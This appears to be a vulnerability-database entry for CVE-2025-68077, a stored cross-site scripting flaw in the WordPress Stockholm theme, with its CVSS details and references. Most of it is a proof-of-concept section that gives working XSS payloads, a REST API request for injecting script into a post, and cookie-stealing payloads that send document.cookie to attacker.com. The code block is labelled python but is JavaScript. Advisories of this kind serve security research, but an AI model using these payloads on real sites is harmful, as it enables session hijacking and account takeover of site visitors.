CVE-2025-68077

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Select-Themes Stockholm stockholm allows Stored XSS.This issue affects Stockholm: from n/a through <= 9.14.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Stockholm主题 <= 9.14.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-68077 Stored XSS PoC for Stockholm Theme
// This PoC demonstrates the XSS vulnerability in WordPress Stockholm theme

// Payload 1: Basic script injection
const payload1 = '<script>alert("XSS")</script>';

// Payload 2: Image onerror event handler
const payload2 = '<img src=x onerror="alert(document.cookie)">';

// Payload 3: Body onload event
const payload3 = '<body onload="alert(document.domain)">';

// Payload 4: SVG element with onload
const payload4 = '<svg onload="alert(localStorage.getItem(\"wp_auth\"))">';

// Payload 5: Data URI with script (bypasses some filters)
const payload5 = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';

// Attack scenario:
// 1. Attacker with low-privilege account (subscriber/contributor)
// 2. Creates/edits a post or page using Stockholm theme templates
// 3. Injects XSS payload into content, title, or custom fields
// 4. Submits the content
// 5. When other users visit the page, the malicious script executes

// Example POST request structure:
/*
POST /wp-json/wp/v2/posts/123 HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <low_privilege_token>

{
  "title": "Normal Title",
  "content": "<p>Description with <script>alert(document.cookie)</script> injected</p>",
  "status": "publish"
}
*/

// Cookie stealing payload:
const stealCookiePayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';

// Session hijacking payload:
const sessionHijackPayload = '<script>document.location="https://attacker.com/phish?"+btoa(document.cookie)</script>';

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68077
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68077
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68077/
[4] VulDB https://vuldb.com/cve/CVE-2025-68077
[5] https://patchstack.com/database/Wordpress/Theme/stockholm/vulnerability/wordpress-stockholm-theme-9-14-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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